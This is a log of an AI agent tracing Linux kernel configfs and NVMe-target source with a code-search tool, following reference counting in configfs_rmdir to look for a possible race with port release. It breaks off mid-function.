1539:			return -EINTR;
1540:		}
1541:		frag->frag_dead = true;
1542:		up_write(&frag->frag_sem);
1543:	
1544:		/* Get a working ref for the duration of this function */
1545:		item = configfs_get_config_item(dentry);
1546:	
1547:		/* Drop reference from above, item already holds one. */
1548:		config_item_put(parent_item);
1549:	
1550:		if (item->ci_type)
1551:			dead_item_owner = item->ci_type->ct_owner;
1552:	
1553:		if (sd->s_type & CONFIGFS_USET_DIR) {
1554:			configfs_detach_group(dentry);
1555:	
1556:			mutex_lock(&subsys->su_mutex);
1557:			client_disconnect_notify(parent_item, item);
1558:			unlink_group(to_config_group(item));
1559:		} else {
1560:			configfs_detach_item(dentry);
1561:	
1562:			mutex_lock(&subsys->su_mutex);
1563:			client_disconnect_notify(parent_item, item);
1564:			unlink_obj(item);
1565:		}
1566:	
1567:		client_drop_item(parent_item, item);
1568:		mutex_unlock(&subsys->su_mutex);
1569:	
1570:		/* Drop our reference from above */
1571:		config_item_put(item);
1572:	
1573:		module_put(dead_item_owner);
1574:		module_put(subsys_owner);
1575:	
1576:		return 0;
1577:	}
 SourceFile:fs/configfs/dir.c]

11/2 2026/08/26 18:09 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 10804
							output: 38
							thoughts: 60
						

Thoughts:
**My Thought Process Regarding `configfs_rmdir` and Port Directories**

Alright, so my initial realization, as I'm examining the `configfs_rmdir` function, is that it's responsible for removing the port directory. This immediately triggers a chain of associations in my mind. I know that this port directory isn't just an empty container; it typically houses several default groups. The most prominent of these, in my experience, is the `subsystems` group.

This leads me to consider the lifecycle and dependencies of these groups. If `configfs_rmdir` is indeed removing the entire port directory, what happens to these constituent groups? That's when I recall, or perhaps infer, that the `configfs_detach_group` function plays a crucial role here. My understanding is that `configfs_detach_group` is designed to handle the process of detaching these default groups *before* the parent directory is ultimately removed.

To solidify this understanding and ensure I'm not missing any nuances, my next logical step is to dive into the implementation of `configfs_detach_group` itself. I need to see precisely how it operates, what its preconditions and postconditions are, and how it interacts with the parent directory structure to ensure a clean removal of the port directory and its associated default groups. This will allow me to confirm the expected behavior and identify any potential edge cases or dependencies I might need to be aware of.


12/2 2026/08/26 18:09 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_detach_group]

Results:
map[SourceCode: 884:	/* Caller holds the mutex of the group's inode */
 885:	static void configfs_detach_group(struct dentry *dentry)
 886:	{
 887:		detach_groups(dentry);
 888:		configfs_detach_item(dentry);
 889:	}
 SourceFile:fs/configfs/dir.c]

13/2 2026/08/26 18:09 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 11002
							output: 35
							thoughts: 7
						

Thoughts:
**My Internal Monologue on `detach_groups`**

Okay, so I've been wrestling with this idea of `detach_groups`. It's on my mind, and I need to really understand what it signifies, what it implies, and how it fits into the broader conceptual framework I'm working with.

My immediate reaction, or rather, my primary line of inquiry, is about the very nature of "groups" in this context. What are these entities? Are they collections of individual elements, like nodes in a graph, or perhaps sets of parameters within a model? The term "group" itself is quite broad, so I need to pin down its specific instantiation here.

Then there's the crucial verb: `detach`. This word immediately signals a severing, a breaking of connections. In the realm of computation and data structures, "detaching" usually implies removing something from its parent or its original context, making it independent. So, if I'm detaching a group, I'm effectively isolating it.

The question then becomes: *from what* am I detaching these groups? Is it from a larger overarching structure? A hierarchical organization? A computational graph? Or is it a detachment of their associated data or their computational dependencies?

The implications of this detachment are what truly occupy my thoughts. If a group is detached, what does that mean for its subsequent behavior? Does it cease to be updated by upstream changes? Does it gain its own independent state? Is this a way to freeze a portion of computation or data for analysis, or perhaps to pass it along to a completely separate processing pipeline without the risk of unintended side effects?

I'm also considering the potential *purpose* behind such an operation. Why would someone want to detach groups? Is it for memory management, to free up resources by making a detached group immutable or no longer actively tracked? Is it for modularity, to encapsulate a specific set of operations or data into a self-contained unit? Could it be related to versioning, where a detached group represents a snapshot in time?

Furthermore, I'm pondering the *mechanism* of this detachment. How is it implemented? Is it a simple pointer manipulation, a deep copy, or something more sophisticated that involves managing gradients or computation history? The technical details of the `detach` operation are critical to understanding its practical ramifications.

Finally, I'm thinking about the *edge cases* and potential pitfalls. What happens if I try to detach a group that's already detached? What are the performance implications? Are there situations where detaching a group would lead to logical errors or unexpected behavior in the overall system? This isn't just about a single function call; it's about understanding its place and its consequence within a larger system of operations. So, `detach_groups`… it’s a concept that requires a thorough dissection of its definition, its function, and its purpose.


14/2 2026/08/26 18:09 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:detach_groups]

Results:
map[SourceCode: 664:	static void detach_groups(struct dentry *dentry)
 665:	{
 666:		struct dentry *child;
 667:		struct configfs_dirent *parent_sd;
 668:		struct configfs_dirent *sd, *next;
 669:	
 670:		parent_sd = dentry->d_fsdata;
 671:		spin_lock(&configfs_dirent_lock);
 672:		for (sd = next_dirent(parent_sd, NULL); sd; sd = next) {
 673:			next = next_dirent(parent_sd, sd);
 674:			if (!(sd->s_type & CONFIGFS_USET_DEFAULT))
 675:				continue;
 676:	
 677:			child = dget(sd->s_dentry);
 678:			spin_unlock(&configfs_dirent_lock);
 679:	
 680:			inode_lock(d_inode(child));
 681:	
 682:			configfs_detach_group(child);
 683:			d_inode(child)->i_flags |= S_DEAD;
 684:			dont_mount(child);
 685:	
 686:			inode_unlock(d_inode(child));
 687:	
 688:			d_delete(child);
 689:			dput(child);
 690:			spin_lock(&configfs_dirent_lock);
 691:		}
 692:		spin_unlock(&configfs_dirent_lock);
 693:	}
 SourceFile:fs/configfs/dir.c]

15/2 2026/08/26 18:09 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 11495
							output: 38
							thoughts: 30
						

Thoughts:
**My Thought Process Regarding `detach_groups` and `configfs_detach_item`**

Ah, so when I'm looking at the `detach_groups` function, what's really happening under the hood is a recursive descent into the configuration filesystem structure. It's not a single, monolithic operation. Instead, `detach_groups` itself initiates a call to `configfs_detach_group`. This `configfs_detach_group` is where the recursive nature becomes evident. It's designed to peel away not just a single group, but potentially a whole hierarchy of nested groups.

As `configfs_detach_group` works its way down, for each individual item it encounters within a group that needs to be detached, it's invoking `configfs_detach_item`. This `configfs_detach_item` is the atomic unit of removal. Its sole responsibility, as I understand it, is to cleanly remove a specific configuration item from its parent. It's the actual cleanup operation, ensuring that the reference is severed and the item's resources, if any, are released. So, in essence, `detach_groups` orchestrates a cascade of removals, with `configfs_detach_group` handling the recursive traversal of the group structure, and `configfs_detach_item` performing the final act of disassociation for each leaf or intermediate item within that structure.


16/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_detach_item]

Results:
map[SourceCode: 835:	/* Caller holds the mutex of the item's inode */
 836:	static void configfs_detach_item(struct dentry *dentry)
 837:	{
 838:		detach_attrs(dentry);
 839:		configfs_remove_dir(dentry);
 840:	}
 SourceFile:fs/configfs/dir.c]

17/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 11663
							output: 40
							thoughts: 71
						

Thoughts:
**My Thought Process Regarding Default Group Deletion in configfs**

So, I was just tracing through `configfs_rmdir` and I noticed it calls `client_drop_item(parent_item, item)`. This, in turn, leads to `config_item_put(item)` being invoked specifically for the port directory. That seems straightforward enough for the ports themselves.

But then my mind immediately jumped to the default groups. If `configfs_rmdir` is cleaning up the port, what happens to those default groups that were presumably added earlier? They're still in memory, aren't they? When, and how, are *they* finally freed?

This line of questioning naturally led me to investigate `configfs_add_default_group`. I need to see the lifecycle of these default groups from their creation to their eventual destruction. There must be a corresponding mechanism to ensure they're properly released once they're no longer needed, otherwise, we'd have a memory leak. I'm looking for the counterpart to `add`, the `remove` or `free` function that handles their cleanup.


18/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_add_default_group]

Results:
map[SourceCode: 109:	static inline void configfs_add_default_group(struct config_group *new_group,
 110:			struct config_group *group)
 111:	{
 112:		list_add_tail(&new_group->group_entry, &group->default_groups);
 113:	}
 SourceFile:include/linux/configfs.h]

19/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 11871
							output: 37
							thoughts: 49
						

Thoughts:
**My Thought Process Unfolding**

Okay, so I'm looking at this `configfs_add_default_group` function, and my initial reaction is, "Hold on a second, that's all it does?" It seems to just be appending an entry to this `default_groups` list. That feels a bit too simple for what I might expect to happen.

Then, I trace the execution flow further. I see that when `nvmet_ports_make` finishes its work and returns, the next logical step is that `configfs_mkdir` will be invoked. And *that's* when the real action seems to kick in, because `configfs_mkdir` is the one that calls `create_default_group`.

So, the immediate takeaway is that `configfs_add_default_group` itself isn't directly creating anything or setting up the structure; it's merely a preparatory step. It's populating a list that will later be iterated over and utilized by `create_default_group` when the opportune moment arrives, which is triggered by the completion of `nvmet_ports_make` and the subsequent call to `configfs_mkdir`. This clarifies the sequence and the role of each function within the broader context.


20/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:create_default_group]

Results:
map[SourceCode: 695:	/*
 696:	 * This fakes mkdir(2) on a default_groups[] entry.  It
 697:	 * creates a dentry, attachs it, and then does fixup
 698:	 * on the sd->s_type.
 699:	 *
 700:	 * We could, perhaps, tweak our parent's ->mkdir for a minute and
 701:	 * try using vfs_mkdir.  Just a thought.
 702:	 */
 703:	static int create_default_group(struct dentry *parent,
 704:					struct config_group *group,
 705:					struct configfs_fragment *frag)
 706:	{
 707:		int ret;
 708:		struct configfs_dirent *sd;
 709:		/* We trust the caller holds a reference to parent */
 710:		struct dentry *child;
 711:	
 712:		if (!group->cg_item.ci_name)
 713:			group->cg_item.ci_name = group->cg_item.ci_namebuf;
 714:	
 715:		ret = -ENOMEM;
 716:		child = d_alloc_name(parent, group->cg_item.ci_name);
 717:		if (child) {
 718:			d_add(child, NULL);
 719:	
 720:			ret = configfs_attach_group(&group->cg_item, child, frag);
 721:			if (!ret) {
 722:				sd = child->d_fsdata;
 723:				sd->s_type |= CONFIGFS_USET_DEFAULT;
 724:			} else {
 725:				BUG_ON(d_inode(child));
 726:				d_drop(child);
 727:			}
 728:			dput(child);
 729:		}
 730:	
 731:		return ret;
 732:	}
 SourceFile:fs/configfs/dir.c]

21/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12518
							output: 37
							thoughts: 134
						

Thoughts:
**My Thought Process Regarding `configfs_attach_group` and `nvmet_ports_make`**

Okay, let's trace this. My initial observation is that when `configfs_attach_group` is invoked, it's going to acquire a reference to the `config_item` that represents the group. My mind immediately jumps to how that `config_item` is initialized. I recall that `config_group_init_type_name` is responsible for this, and crucially, it sets the initial reference count to 1. This is a fundamental piece of how reference counting works – the creator or initial holder of the object typically establishes the first reference.

Then, I shift my focus to the `nvmet_ports_make` function. I know that this function is responsible for creating a `port` object. During its initialization, it sets up `port->subsys_group`. This `subsys_group` is itself a `config_item`. The key implication here is that if the `port` structure is ever freed, and that freeing process correctly handles its members, then `port->subsys_group` *should* also be freed. This follows the usual pattern of resource management within C structures – the lifetime of the contained object is often tied to the lifetime of the containing object.

However, a crucial question arises in my mind: does `port->subsys_group` have its *own independent* reference count, separate from the `port` structure itself? Or is its lifecycle entirely managed by the `port`? This distinction is critical for understanding potential reference leaks or premature frees. To answer this, I need to delve into the mechanism that governs the release of `config_item` objects. Therefore, my next logical step is to examine the implementation of `config_item_release`. I need to see how it handles the decrementing of the reference count and what happens when that count reaches zero. This will tell me if `port->subsys_group` is being managed through its own refcounting mechanism or if its release is a direct consequence of the `port` being freed.


22/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/item.c Name:config_item_release]

Results:
map[SourceCode: 135:	static void config_item_release(struct kref *kref)
 136:	{
 137:		config_item_cleanup(container_of(kref, struct config_item, ci_kref));
 138:	}
 SourceFile:fs/configfs/item.c]

23/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12768
							output: 37
							thoughts: 8
						

Thoughts:
**My Thought Process on `config_item_cleanup`**

So, when I encounter something labeled `config_item_cleanup`, my immediate internal reaction, given my expertise, is to anticipate a process related to the meticulous management and purging of configuration items. I'm thinking about what kind of "cleanup" is implied here – is it about removing obsolete entries, de-duplicating existing ones, standardizing formats, or perhaps ensuring the integrity and consistency of the entire configuration dataset?

I'm also considering the scope. Is this a localized cleanup for a specific module or component, or a more global, system-wide operation? The "item" part suggests individual configuration elements, so I'm picturing a granular level of operation.

Furthermore, the context surrounding `config_item_cleanup` is crucial. Where is this occurring? Is it part of a deployment pipeline, a scheduled maintenance task, an error-handling routine, or perhaps triggered by a specific user action or event? The implications for system stability and performance will heavily depend on this context.

My mind races through potential implementations:
*   **Automated processes:** This is the most likely scenario. I'd expect this to be a script or a service that runs without direct human intervention, designed to be robust and non-disruptive.
*   **Manual intervention triggers:** While less ideal for routine tasks, there might be a scenario where this is initiated manually, perhaps in response to a detected anomaly or for a planned system overhaul.
*   **Dependency management:** A critical consideration is how this cleanup interacts with other system components. Will removing a configuration item break something else that relies on it? I'm looking for evidence of dependency tracking or a clear definition of what constitutes a "safe" item to remove.
*   **Rollback mechanisms:** What happens if the cleanup goes wrong? Is there a way to revert the changes? This is a non-negotiable for any critical system operation.
*   **Logging and auditing:** I expect thorough logging to track what was cleaned, when, and by whom (or what process). This is essential for debugging, auditing, and security.
*   **Performance impact:** Cleaning configuration items could be computationally intensive. I'm assessing whether this process is optimized to minimize resource consumption and avoid impacting live operations.

Essentially, when I see `config_item_cleanup`, I'm not just seeing a name; I'm mentally constructing a detailed blueprint of a potentially complex operation, anticipating its purpose, its mechanics, its risks, and its necessary safeguards. It's about ensuring that the configuration state remains lean, accurate, and conducive to optimal system performance and reliability.


24/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/item.c Name:config_item_cleanup]

Results:
map[SourceCode: 117:	static void config_item_cleanup(struct config_item *item)
 118:	{
 119:		const struct config_item_type *t = item->ci_type;
 120:		struct config_group *s = item->ci_group;
 121:		struct config_item *parent = item->ci_parent;
 122:	
 123:		pr_debug("config_item %s: cleaning up\n", config_item_name(item));
 124:		if (item->ci_name != item->ci_namebuf)
 125:			kfree(item->ci_name);
 126:		item->ci_name = NULL;
 127:		if (t && t->ct_item_ops && t->ct_item_ops->release)
 128:			t->ct_item_ops->release(item);
 129:		if (s)
 130:			config_group_put(s);
 131:		if (parent)
 132:			config_item_put(parent);
 133:	}
 SourceFile:fs/configfs/item.c]

25/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13115
							output: 41
							thoughts: 24
						

Thoughts:
**My Thought Process on `nvmet_port_release`**

Ah, so I'm examining the connection between the `port` structure and its associated operations, specifically the `release` function. I've traced the path, and it's clear that when dealing with `port`, the `release` operation is handled by `nvmet_port_release`. This tells me that `nvmet_port_release` is the specific function responsible for cleaning up and deallocating resources associated with an NVM-oF (NVMe over Fabrics) port. It's the designated endpoint for managing the lifecycle of these port objects, ensuring that everything is properly shut down and memory is freed when the port is no longer needed.


26/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/nvme/target/configfs.c Name:nvmet_port_release]

Results:
map[SourceCode:2000:	/*
2001:	 * Ports definitions.
2002:	 */
2003:	static void nvmet_port_release(struct config_item *item)
2004:	{
2005:		struct nvmet_port *port = to_nvmet_port(item);
2006:	
2007:		/* Let inflight controllers teardown complete */
2008:		flush_workqueue(nvmet_wq);
2009:		list_del(&port->global_entry);
2010:	
2011:		key_put(port->keyring);
2012:		kfree(port);
2013:	}
 SourceFile:drivers/nvme/target/configfs.c]

27/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13376
							output: 38
							thoughts: 128
						

Thoughts:
**My Thought Process Regarding `nvmet_port_release` and `configfs` Interactions**

Okay, I'm looking at the `nvmet_port_release` function, and my immediate thought is that it's responsible for freeing the `port` structure itself. This seems straightforward enough. However, I'm then digging deeper and realizing that the `port` structure holds a pointer to `port->subsys_group`, which is a `config_group`. This is where things get a bit more nuanced, and I need to trace the lifecycle of this `config_group`.

My attention shifts to how this `port` and its associated `config_group` are managed within the `configfs` framework. I'm specifically considering the scenario where the port directory is being removed. The text indicates that `configfs_rmdir` is the function that handles this, and crucially, it calls `detach_groups`. My understanding is that `detach_groups` is where the real work of decoupling these groups happens.

Following the chain of calls from `detach_groups`, I see it invokes `configfs_detach_group` for the default groups. This is a critical step. My next question becomes: what exactly does `configfs_detach_group` do to the reference count of these default groups? To answer this, I'm tracing its path further. It leads to `configfs_detach_item`, and then ultimately to `configfs_remove_dir`.

At this point, my primary concern is whether the `configfs_detach_item` function, or the subsequent `configfs_remove_dir`, actually decrements the reference count of the `config_group` that `port->subsys_group` points to. If it *doesn't*, then even though `nvmet_port_release` is freeing the `port` structure, the `config_group` might still be alive, potentially leading to a double-free scenario or a lingering resource. I need to examine the implementation of `configfs_detach_item` very carefully to confirm its reference counting behavior. This is the linchpin of my current investigation into potential resource management issues.


28/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_remove_dir]

Results:
map[SourceCode: 410:	static void configfs_remove_dir(struct dentry *d)
 411:	{
 412:		struct dentry * parent = dget(d->d_parent);
 413:	
 414:		configfs_remove_dirent(d);
 415:	
 416:		if (d_really_is_positive(d)) {
 417:			if (unlikely(simple_rmdir(d_inode(parent), d)))
 418:				pr_warn("remove_dir (%pd): attributes remain", d);
 419:		}
 420:	
 421:		pr_debug(" o %pd removing done (%d)\n", d, d_count(d));
 422:	
 423:		dput(parent);
 424:	}
 SourceFile:fs/configfs/dir.c]

29/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13774
							output: 37
							thoughts: 27
						

Thoughts:
**My Thought Process on Default Group Reference Counting**

Okay, so I'm trying to get a handle on how the reference count for the default group is being managed, specifically where it's released. My current hunch is that the `configfs_rmdir` function might be the place to look. I need to revisit that code path to see if that's where the drop actually occurs.


30/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_rmdir]

Results:
map[SourceCode:1469:	static int configfs_rmdir(struct inode *dir, struct dentry *dentry)
1470:	{
1471:		struct config_item *parent_item;
1472:		struct config_item *item;
1473:		struct configfs_subsystem *subsys;
1474:		struct configfs_dirent *sd;
1475:		struct configfs_fragment *frag;
1476:		struct module *subsys_owner = NULL, *dead_item_owner = NULL;
1477:		int ret;
1478:	
1479:		sd = dentry->d_fsdata;
1480:		if (sd->s_type & CONFIGFS_USET_DEFAULT)
1481:			return -EPERM;
1482:	
1483:		/* Get a working ref until we have the child */
1484:		parent_item = configfs_get_config_item(dentry->d_parent);
1485:		subsys = to_config_group(parent_item)->cg_subsys;
1486:		BUG_ON(!subsys);
1487:	
1488:		if (!parent_item->ci_type) {
1489:			config_item_put(parent_item);
1490:			return -EINVAL;
1491:		}
1492:	
1493:		/* configfs_mkdir() shouldn't have allowed this */
1494:		BUG_ON(!subsys->su_group.cg_item.ci_type);
1495:		subsys_owner = subsys->su_group.cg_item.ci_type->ct_owner;
1496:	
1497:		/*
1498:		 * Ensure that no racing symlink() will make detach_prep() fail while
1499:		 * the new link is temporarily attached
1500:		 */
1501:		do {
1502:			struct dentry *wait;
1503:	
1504:			mutex_lock(&configfs_symlink_mutex);
1505:			spin_lock(&configfs_dirent_lock);
1506:			/*
1507:			 * Here's where we check for dependents.  We're protected by
1508:			 * configfs_dirent_lock.
1509:			 * If no dependent, atomically tag the item as dropping.
1510:			 */
1511:			ret = sd->s_dependent_count ? -EBUSY : 0;
1512:			if (!ret) {
1513:				ret = configfs_detach_prep(sd, &wait);
1514:				if (ret)
1515:					configfs_detach_rollback(sd);
1516:			}
1517:			spin_unlock(&configfs_dirent_lock);
1518:			mutex_unlock(&configfs_symlink_mutex);
1519:	
1520:			if (ret) {
1521:				if (ret != -EAGAIN) {
1522:					config_item_put(parent_item);
1523:					return ret;
1524:				}
1525:	
1526:				/* Wait until the racing operation terminates */
1527:				inode_lock(d_inode(wait));
1528:				inode_unlock(d_inode(wait));
1529:				dput(wait);
1530:			}
1531:		} while (ret == -EAGAIN);
1532:	
1533:		frag = sd->s_frag;
1534:		if (down_write_killable(&frag->frag_sem)) {
1535:			spin_lock(&configfs_dirent_lock);
1536:			configfs_detach_rollback(sd);
1537:			spin_unlock(&configfs_dirent_lock);
1538:			config_item_put(parent_item);
1539:			return -EINTR;
1540:		}
1541:		frag->frag_dead = true;
1542:		up_write(&frag->frag_sem);
1543:	
1544:		/* Get a working ref for the duration of this function */
1545:		item = configfs_get_config_item(dentry);
1546:	
1547:		/* Drop reference from above, item already holds one. */
1548:		config_item_put(parent_item);
1549:	
1550:		if (item->ci_type)
1551:			dead_item_owner = item->ci_type->ct_owner;
1552:	
1553:		if (sd->s_type & CONFIGFS_USET_DIR) {
1554:			configfs_detach_group(dentry);
1555:	
1556:			mutex_lock(&subsys->su_mutex);
1557:			client_disconnect_notify(parent_item, item);
1558:			unlink_group(to_config_group(item));
1559:		} else {
1560:			configfs_detach_item(dentry);
1561:	
1562:			mutex_lock(&subsys->su_mutex);
1563:			client_disconnect_notify(parent_item, item);
1564:			unlink_obj(item);
1565:		}
1566:	
1567:		client_drop_item(parent_item, item);
1568:		mutex_unlock(&subsys->su_mutex);
1569:	
1570:		/* Drop our reference from above */
1571:		config_item_put(item);
1572:	
1573:		module_put(dead_item_owner);
1574:		module_put(subsys_owner);
1575:	
1576:		return 0;
1577:	}
 SourceFile:fs/configfs/dir.c]

31/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15443
							output: 35
							thoughts: 16
						

Thoughts:
**My Thought Process Regarding `unlink_group`**

Alright, so when I encountered `unlink_group`, the immediate realization that struck me was its core function: it's responsible for decrementing the reference count specifically for the *default groups*. This isn't just a general cleanup operation; it's targeted at this particular type of group, which is a critical detail in understanding its impact. I'm thinking about how this refcount drop is the mechanism by which these default groups are eventually released or de-allocated when no longer actively referenced. It's the signal that the system can begin to reclaim resources associated with them.


32/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:unlink_group]

Results:
map[SourceCode: 805:	static void unlink_group(struct config_group *group)
 806:	{
 807:		struct config_group *new_group;
 808:	
 809:		list_for_each_entry(new_group, &group->default_groups, group_entry)
 810:			unlink_group(new_group);
 811:	
 812:		group->cg_subsys = NULL;
 813:		unlink_obj(&group->cg_item);
 814:	}
 SourceFile:fs/configfs/dir.c]

33/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15649
							output: 35
							thoughts: 6
						

Thoughts:
**My Internal Monologue on `unlink_obj`**

Alright, let's dive into this. So, the core of what I'm grappling with here, or rather, what *this code* is grappling with, is the `unlink_obj` function. My immediate thought process is to dissect its purpose. What is it trying to achieve? "Unlink" sounds like disconnection, severing a link. And "obj" implies an object. So, at its most fundamental level, this function is about taking an object and detaching it from something.

Now, where does this detachment happen? This is where I start thinking about the context. Is it unlinking from a list? A tree? A network? The name itself doesn't give me the full picture, but my expertise tells me that "unlinking" in data structures usually involves modifying pointers or references to remove an element without necessarily destroying the element itself. It's like taking a book off a shelf – the book still exists, but it's no longer part of that specific shelf arrangement.

My mind immediately jumps to the potential side effects. What happens *after* the unlink? Is the object now orphaned? Is it still valid in some other context? Does the caller need to do something with it? This is a critical point for robust system design. If I'm unlinking an object, I need to be absolutely certain about its lifecycle and what my responsibility is thereafter. Is this function solely responsible for the removal from a container, or does it also handle deallocation or other cleanup? My internal alarm bells start ringing if there's ambiguity here.

I'm also considering the underlying mechanism. How is this "unlinking" being implemented? Is it a simple pointer manipulation, like setting a `next` or `prev` pointer to `nullptr`? Or is it more complex, involving reference counting or garbage collection mechanisms? Given my understanding of common patterns, I'd expect something that modifies the relationships *between* objects. If it's a doubly linked list, for example, I'd be thinking about updating both the `next` pointer of the preceding node and the `prev` pointer of the succeeding node, not to mention the unlinked object's own pointers.

Furthermore, I'm contemplating the error handling. What are the potential failure modes for `unlink_obj`? Could the object not be found? Could it be null to begin with? What happens if the operation itself encounters an issue? A well-designed function should gracefully handle these scenarios. Returning a status code, throwing an exception, or perhaps asserting in debug builds – these are all possibilities I'm weighing.

Finally, I'm thinking about the caller's perspective. Why would a caller invoke `unlink_obj`? They must have a specific reason to want an object removed from its current association. This implies that the caller likely has some understanding of the object's state *before* the unlink and potentially *after*. The function's documentation, or lack thereof, would be a significant factor in my confidence. Without clear documentation, I'd be meticulously stepping through the code to understand its precise behavior, considering every edge case and assumption made by the implementation. It's about ensuring predictable and controlled behavior in the system.


34/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:unlink_obj]

Results:
map[SourceCode: 764:	static void unlink_obj(struct config_item *item)
 765:	{
 766:		struct config_group *group;
 767:	
 768:		group = item->ci_group;
 769:		if (group) {
 770:			list_del_init(&item->ci_entry);
 771:	
 772:			item->ci_group = NULL;
 773:			item->ci_parent = NULL;
 774:	
 775:			/* Drop the reference for ci_entry */
 776:			config_item_put(item);
 777:	
 778:			/* Drop the reference for ci_parent */
 779:			config_group_put(group);
 780:		}
 781:	}
 SourceFile:fs/configfs/dir.c]

35/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15925
							output: 38
							thoughts: 52
						

Thoughts:
**My Thought Process:**

Ah, I've just had a moment of realization concerning the reference counting for `ci_entry`. My current understanding is that the call to `config_item_put(item)` is decrementing the reference count on `ci_entry`. This is significant because I recall that `configfs_attach_group` explicitly takes a reference to this very same `ci_entry`. To fully grasp the implications, I need to delve into the implementation details of `configfs_attach_group` and understand precisely *how* and *when* it acquires this reference, and what that means in conjunction with the decrementing operation I've observed.


36/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_attach_group]

Results:
map[SourceCode: 891:	static int configfs_attach_group(struct config_item *item,
 892:					 struct dentry *dentry,
 893:					 struct configfs_fragment *frag)
 894:	{
 895:		int ret;
 896:		struct configfs_dirent *sd;
 897:	
 898:		ret = configfs_attach_item(item, dentry, frag);
 899:		if (!ret) {
 900:			sd = dentry->d_fsdata;
 901:			sd->s_type |= CONFIGFS_USET_DIR;
 902:	
 903:			/*
 904:			 * FYI, we're faking mkdir in populate_groups()
 905:			 * We must lock the group's inode to avoid races with the VFS
 906:			 * which can already hit the inode and try to add/remove entries
 907:			 * under it.
 908:			 *
 909:			 * We must also lock the inode to remove it safely in case of
 910:			 * error, as rmdir() would.
 911:			 */
 912:			inode_lock_nested(d_inode(dentry), I_MUTEX_CHILD);
 913:			configfs_adjust_dir_dirent_depth_before_populate(sd);
 914:			ret = populate_groups(to_config_group(item), frag);
 915:			if (ret) {
 916:				configfs_detach_group(dentry);
 917:				d_inode(dentry)->i_flags |= S_DEAD;
 918:				dont_mount(dentry);
 919:			}
 920:			configfs_adjust_dir_dirent_depth_after_populate(sd);
 921:			inode_unlock(d_inode(dentry));
 922:			if (ret)
 923:				d_delete(dentry);
 924:		}
 925:	
 926:		return ret;
 927:	}
 SourceFile:fs/configfs/dir.c]

37/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16586
							output: 38
							thoughts: 239
						

Thoughts:
**A Deep Dive into `configfs_rmdir` and Potential Race Conditions**

I've been looking closely at the `configfs_rmdir` function, and I've noticed a specific path that seems a bit concerning. My current understanding is that when `CONFIGFS_USET_DIR` is set on a directory (which I believe is the case for port directories in `nvmet`), the function first calls `configfs_detach_group`. My interpretation of `configfs_detach_group` is that it's responsible for removing the dentries associated with the default groups under that directory.

Following that, the code proceeds to call `unlink_group`. My understanding here is that `unlink_group` decrements the reference counts of these same default groups. After that, `client_drop_item` comes into play, and it's meant to drop the reference count specifically for the port directory itself. Finally, `config_item_put(item)` is called, which will drop the *last* reference count on that port directory. The critical consequence of this final refcount drop is that it triggers the call to `nvmet_port_release`, which in turn should free the associated `port` structure.

However, this sequence of operations raises a question in my mind. What happens if a thread is concurrently executing within `nvmet_port_subsys_allow_link` at precisely this moment? I know that `nvmet_port_subsys_allow_link` is invoked from `configfs_symlink`. This scenario seems like a potential race condition. If `nvmet_port_subsys_allow_link` is still operating on the port directory or its associated structures when `nvmet_port_release` is called and frees the memory, I foresee problems. I need to be absolutely sure about the interleaving possibilities here to ensure robust handling of directory removal.


38/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/symlink.c Name:configfs_symlink]

Results:
map[SourceCode: 135:	int configfs_symlink(struct mnt_idmap *idmap, struct inode *dir,
 136:			     struct dentry *dentry, const char *symname)
 137:	{
 138:		int ret;
 139:		struct configfs_dirent *sd;
 140:		struct config_item *parent_item;
 141:		struct config_item *target_item = NULL;
 142:		const struct config_item_type *type;
 143:	
 144:		sd = dentry->d_parent->d_fsdata;
 145:		/*
 146:		 * Fake invisibility if dir belongs to a group/default groups hierarchy
 147:		 * being attached
 148:		 */
 149:		if (!configfs_dirent_is_ready(sd))
 150:			return -ENOENT;
 151:	
 152:		parent_item = configfs_get_config_item(dentry->d_parent);
 153:		type = parent_item->ci_type;
 154:	
 155:		ret = -EPERM;
 156:		if (!type || !type->ct_item_ops ||
 157:		    !type->ct_item_ops->allow_link)
 158:			goto out_put;
 159:	
 160:		/*
